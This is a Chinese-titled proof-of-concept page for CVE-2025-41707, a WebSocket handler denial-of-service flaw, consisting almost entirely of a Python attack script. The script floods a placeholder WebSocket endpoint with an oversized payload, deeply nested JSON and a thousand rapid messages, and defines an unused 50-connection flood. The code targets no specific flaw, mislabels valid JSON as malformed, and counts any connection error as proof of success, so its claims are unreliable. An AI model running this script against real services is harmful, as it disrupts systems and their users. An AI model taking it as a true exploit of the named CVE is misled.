CVE-2025-41707 WebSocket处理器拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2025-41707 PoC - WebSocket Handler Denial of Service # This PoC demonstrates sending crafted WebSocket messages to trigger DoS import asyncio import websockets import json TARGET_URL = "ws://target-host:port/websocket" async def trigger_dos(): """ Send crafted WebSocket messages to trigger the DoS vulnerability. The vulnerability exists in the WebSocket handler's message processing logic. """ try: async with websockets.connect(TARGET_URL) as websocket: # Craft a malicious message designed to trigger the vulnerability # Method 1: Send oversized payload to exhaust memory malicious_payload = "A" * 1024 * 1024 # 1MB payload await websocket.send(malicious_payload) # Method 2: Send malformed JSON with nested structures nested_payload = {"data": {"nested": {"deep": {"value": "x" * 10000}}}} await websocket.send(json.dumps(nested_payload)) # Method 3: Rapid-fire messages to exhaust handler resources for i in range(1000): await websocket.send(f"{{\"cmd\": \"trigger_{i}\", \"data\": \"{'x' * 500}\"}}") print("[+] Malicious messages sent successfully") except Exception as e: print(f"[-] Connection error or target unresponsive: {e}") print("[+] This may indicate the DoS condition was triggered") async def mass_connection_dos(): """ Alternative: Open multiple connections and send crafted messages simultaneously """ tasks = [] for _ in range(50): tasks.append(trigger_dos()) await asyncio.gather(*tasks) if __name__ == "__main__": print(f"[*] Targeting WebSocket endpoint: {TARGET_URL}") print("[*] CVE-2025-41707 - WebSocket Handler DoS PoC") asyncio.run(trigger_dos())